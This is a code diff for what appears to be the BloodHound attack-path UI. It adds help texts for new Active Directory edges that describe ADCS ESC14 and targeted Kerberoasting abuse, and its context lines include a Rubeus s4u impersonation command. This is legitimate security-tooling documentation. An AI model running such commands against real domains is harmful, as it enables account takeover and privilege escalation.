a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteDacl/LinuxAbuse.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteDacl/LinuxAbuse.tsx @@ -16,6 +16,7 @@ import { Link, Typography } from '@mui/material'; import { FC } from 'react'; +import { AdcsEsc14ScenarioALinux } from '../AdcsEsc14ScenarioA'; import { EdgeInfoProps } from '../index'; const LinuxAbuse: FC = ({ @@ -201,6 +202,7 @@ const LinuxAbuse: FC = ( For other optional parameters, view the pyWhisker documentation. + ); case 'Computer': @@ -319,6 +321,7 @@ const LinuxAbuse: FC = ( For other optional parameters, view the pyWhisker documentation. + ); } else { @@ -393,6 +396,7 @@ const LinuxAbuse: FC = ( For other optional parameters, view the pyWhisker documentation. + ); } diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteDacl/References.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteDacl/References.tsx index b517d2ea87..4c58bbe174 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteDacl/References.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteDacl/References.tsx @@ -155,6 +155,13 @@ const References: FC = () => { https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
+ + https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9 + +
= equivalent to the "AddKeyCredentialLink" edge. + + Alternatively, GenericAll enables {sourceName} to set a ServicePrincipalName (SPN) on the targeted user, which may be abused in a Targeted Kerberoast attack. @@ -215,6 +218,8 @@ const WindowsAbuse: FC = For other optional parameters, view the Whisker documentation. + + Targeted Kerberoast attack @@ -298,6 +303,8 @@ const WindowsAbuse: FC = Constrained Delegation attack. + + Retrieve LAPS Password For systems using legacy LAPS, the following AD computer object properties are relevant: @@ -432,6 +439,8 @@ const WindowsAbuse: FC = 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } + + ); } else { @@ -471,6 +480,8 @@ const WindowsAbuse: FC = Constrained Delegation attack. + + Shadow Credentials attack To abuse the permission, use Whisker. @@ -555,6 +566,8 @@ const WindowsAbuse: FC = 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } + + ); } diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteOwner/LinuxAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteOwner/LinuxAbuse.tsx index 2b20bbe18f..5a1fc9b51a 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteOwner/LinuxAbuse.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteOwner/LinuxAbuse.tsx @@ -16,6 +16,7 @@ import { Link, Typography } from '@mui/material'; import { FC } from 'react'; +import { AdcsEsc14ScenarioALinux } from '../AdcsEsc14ScenarioA'; import { EdgeInfoProps } from '../index'; const LinuxAbuse: FC = ({ sourceName, targetName, targetType, haslaps }) => { @@ -214,6 +215,7 @@ const LinuxAbuse: FC = ({ sourceName, targ For other optional parameters, view the pyWhisker documentation. + ); case 'Computer': @@ -339,6 +341,7 @@ const LinuxAbuse: FC = ({ sourceName, targ For other optional parameters, view the pyWhisker documentation. + ); } else { @@ -420,6 +423,7 @@ const LinuxAbuse: FC = ({ sourceName, targ For other optional parameters, view the pyWhisker documentation. + ); } diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteOwner/References.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteOwner/References.tsx index 4e2307b4c8..a47acb93e0 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteOwner/References.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WriteOwner/References.tsx @@ -100,6 +100,13 @@ const References: FC = () => { https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
+ + https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9 + +
= equivalent to the "AddKeyCredentialLink" edge. + + Alternatively, GenericAll enables {sourceName} to set a ServicePrincipalName (SPN) on the targeted user, which may be abused in a Targeted Kerberoast attack. @@ -266,6 +269,8 @@ const WindowsAbuse: FC = For other optional parameters, view the Whisker documentation. + + Targeted Kerberoast attack @@ -372,6 +377,8 @@ const WindowsAbuse: FC = Constrained Delegation attack. + + Retrieve LAPS Password For systems using legacy LAPS, the following AD computer object properties are relevant: @@ -506,6 +513,8 @@ const WindowsAbuse: FC = 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } + + ); } else { @@ -569,6 +578,8 @@ const WindowsAbuse: FC = Constrained Delegation attack. + + Shadow Credentials attack To abuse the permission, use Whisker. @@ -653,6 +664,8 @@ const WindowsAbuse: FC = 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } + + ); } diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/General.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/General.tsx new file mode 100644 index 0000000000..daa451630d --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/General.tsx @@ -0,0 +1,44 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Typography } from '@mui/material'; +import { FC } from 'react'; +import { EdgeInfoProps } from '../index'; +import { groupSpecialFormat, typeFormat } from '../utils'; + +const General: FC = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + <> + + {groupSpecialFormat(sourceType, sourceName)} the ability to write to the Public-Information property set + of the {typeFormat(targetType)} {targetName}. + + + + The altSecurityIdentities attribute allows you to specify explicit certificate mappings for a + principal. An explicit certificate mapping directly links a specific certificate to the principal, as an + alternative to the normal certificate-to-account mapping rules and allowing authentication as that + principal. + + + + The servicePrincipalName (SPN) attribute is also included in the property set. + + + ); +}; + +export default General; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/LinuxAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/LinuxAbuse.tsx new file mode 100644 index 0000000000..222ddc4242 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/LinuxAbuse.tsx @@ -0,0 +1,41 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Link, Typography } from '@mui/material'; +import { FC } from 'react'; +import { AdcsEsc14ScenarioALinux } from '../AdcsEsc14ScenarioA'; +import { EdgeInfoProps } from '../index'; + +const LinuxAbuse: FC = () => { + return ( + <> + + The write access to the AltSecurityIdentities may enable an ADCS ESC14 Scenario A attack. + + + Alternatively, the write access to the SPN enable a targeted Kerberoasting attack against user accounts + with a weak password. See the{' '} + + WriteSPN + {' '} + edge for more details. + + + + ); +}; + +export default LinuxAbuse; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/Opsec.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/Opsec.tsx new file mode 100644 index 0000000000..d3b0605115 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/Opsec.tsx @@ -0,0 +1,33 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Typography } from '@mui/material'; +import { FC } from 'react'; + +const Opsec: FC = () => { + return ( + <> + + When the affected certificate authority issues the certificate to the attacker, it will retain a local + copy of that certificate in its issued certificates store. Defenders may analyze those issued + certificates to identify illegitimately issued certificates and identify the principal that requested + the certificate. + + + ); +}; + +export default Opsec; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/References.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/References.tsx new file mode 100644 index 0000000000..eea50765b3 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/References.tsx @@ -0,0 +1,99 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Box, Link } from '@mui/material'; +import { FC } from 'react'; + +const References: FC = () => { + return ( + + + MITRE ATT&CK - Account Manipulation + +
+ + ADCS ESC14 Abuse Technique + +
+ + Certified Pre-Owned - Abusing Active Directory Certificate Services + +
+ + How to disable the Subject Alternative Name for UPN mapping + +
+ + Certipy + +
+ + Certify + +
+ + Rubeus + +
+ + Add-AltSecIDMapping.ps1 + +
+ + Get-AltSecIDMapping.ps1 + +
+ + Remove-AltSecIDMapping.ps1 + +
+ + ldapsearch + +
+ + ldapmodify + +
+ + certutil + +
+ ); +}; + +export default References; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/WindowsAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/WindowsAbuse.tsx new file mode 100644 index 0000000000..d3f701497a --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/WindowsAbuse.tsx @@ -0,0 +1,42 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { Link, Typography } from '@mui/material'; +import { FC } from 'react'; +import { AdcsEsc14ScenarioAWindows } from '../AdcsEsc14ScenarioA'; +import { EdgeInfoProps } from '../index'; + +const WindowsAbuse: FC = () => { + return ( + <> + + The write access to the AltSecurityIdentities may enable an ADCS ESC14 Scenario A attack. + + + Alternatively, the write access to the SPN enable a targeted Kerberoasting attack against user accounts + with a weak password. See the{' '} + + WriteSPN + {' '} + edge for more details. + + + + + ); +}; + +export default WindowsAbuse; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/WritePublicInformation.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/WritePublicInformation.tsx new file mode 100644 index 0000000000..63a7cd7e69 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/WritePublicInformation/WritePublicInformation.tsx @@ -0,0 +1,31 @@ +// Copyright 2025 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import General from './General'; +import LinuxAbuse from './LinuxAbuse'; +import Opsec from './Opsec'; +import References from './References'; +import WindowsAbuse from './WindowsAbuse'; + +const WritePublicInformation = { + general: General, + windowsAbuse: WindowsAbuse, + linuxAbuse: LinuxAbuse, + opsec: Opsec, + references: References, +}; + +export default WritePublicInformation; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx index afb0a51add..44bf79c881 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx @@ -133,6 +133,7 @@ import SyncedToADUser from './SyncedToADUser/SyncedToADUser'; import SyncedToEntraUser from './SyncedToEntraUser/SyncedToEntraUser'; import TrustedForNTAuth from './TrustedForNTAuth/TrustedForNTAuth'; import WriteAccountRestrictions from './WriteAccountRestrictions/WriteAccountRestrictions'; +import WriteAltSecurityIdentities from './WriteAltSecurityIdentities/WriteAltSecurityIdentities'; import WriteDacl from './WriteDacl/WriteDacl'; import WriteGPLink from './WriteGPLink/WriteGPLink'; import WriteOwner from './WriteOwner/WriteOwner'; @@ -140,6 +141,7 @@ import WriteOwnerLimitedRights from './WriteOwnerLimitedRights/WriteOwnerLimited import WriteOwnerRaw from './WriteOwnerRaw/WriteOwnerRaw'; import WritePKIEnrollmentFlag from './WritePKIEnrollmentFlag/WritePKIEnrollmentFlag'; import WritePKINameFlag from './WritePKINameFlag/WritePKINameFlag'; +import WritePublicInformation from './WritePublicInformation/WritePublicInformation'; import WriteSPN from './WriteSPN/WriteSPN'; export type EdgeInfoProps = { @@ -280,6 +282,8 @@ const EdgeInfoComponents = { CanApplyGPO: CanApplyGPO, GPOAppliesTo: GPOAppliesTo, HasTrustKeys: HasTrustKeys, + WriteAltSecurityIdentities: WriteAltSecurityIdentities, + WritePublicInformation: WritePublicInformation, }; export default EdgeInfoComponents; diff --git a/packages/javascript/bh-shared-ui/src/edgeTypes.tsx b/packages/javascript/bh-shared-ui/src/edgeTypes.tsx index d132f2f3ca..dff27af9e4 100644 --- a/packages/javascript/bh-shared-ui/src/edgeTypes.tsx +++ b/packages/javascript/bh-shared-ui/src/edgeTypes.tsx @@ -97,7 +97,9 @@ export const AllEdgeTypes: Category[] = [ ActiveDirectoryRelationshipKind.AddKeyCredentialLink, ActiveDirectoryRelationshipKind.CanApplyGPO, ActiveDirectoryRelationshipKind.WriteAccountRestrictions, + ActiveDirectoryRelationshipKind.WriteAltSecurityIdentities, ActiveDirectoryRelationshipKind.WriteGPLink, + ActiveDirectoryRelationshipKind.WritePublicInformation, ActiveDirectoryRelationshipKind.WriteSPN, ], }, diff --git a/packages/javascript/bh-shared-ui/src/graphSchema.ts b/packages/javascript/bh-shared-ui/src/graphSchema.ts index 517353bab0..f4697c6f9f 100644 --- a/packages/javascript/bh-shared-ui/src/graphSchema.ts +++ b/packages/javascript/bh-shared-ui/src/graphSchema.ts @@ -155,6 +155,8 @@ export enum ActiveDirectoryRelationshipKind { GPOAppliesTo = 'GPOAppliesTo', CanApplyGPO = 'CanApplyGPO', HasTrustKeys = 'HasTrustKeys', + WriteAltSecurityIdentities = 'WriteAltSecurityIdentities', + WritePublicInformation = 'WritePublicInformation', } export function ActiveDirectoryRelationshipKindToDisplay(value: ActiveDirectoryRelationshipKind): string | undefined { switch (value) { @@ -328,6 +330,10 @@ export function ActiveDirectoryRelationshipKindToDisplay(value: ActiveDirectoryR return 'CanApplyGPO'; case ActiveDirectoryRelationshipKind.HasTrustKeys: return 'HasTrustKeys'; + case ActiveDirectoryRelationshipKind.WriteAltSecurityIdentities: + return 'WriteAltSecurityIdentities'; + case ActiveDirectoryRelationshipKind.WritePublicInformation: + return 'WritePublicInformation'; default: return undefined; } @@ -815,6 +821,8 @@ export function ActiveDirectoryPathfindingEdges(): ActiveDirectoryRelationshipKi ActiveDirectoryRelationshipKind.GPOAppliesTo, ActiveDirectoryRelationshipKind.CanApplyGPO, ActiveDirectoryRelationshipKind.HasTrustKeys, + ActiveDirectoryRelationshipKind.WriteAltSecurityIdentities, + ActiveDirectoryRelationshipKind.WritePublicInformation, ActiveDirectoryRelationshipKind.DCFor, ActiveDirectoryRelationshipKind.SameForestTrust, ActiveDirectoryRelationshipKind.SpoofSIDHistory,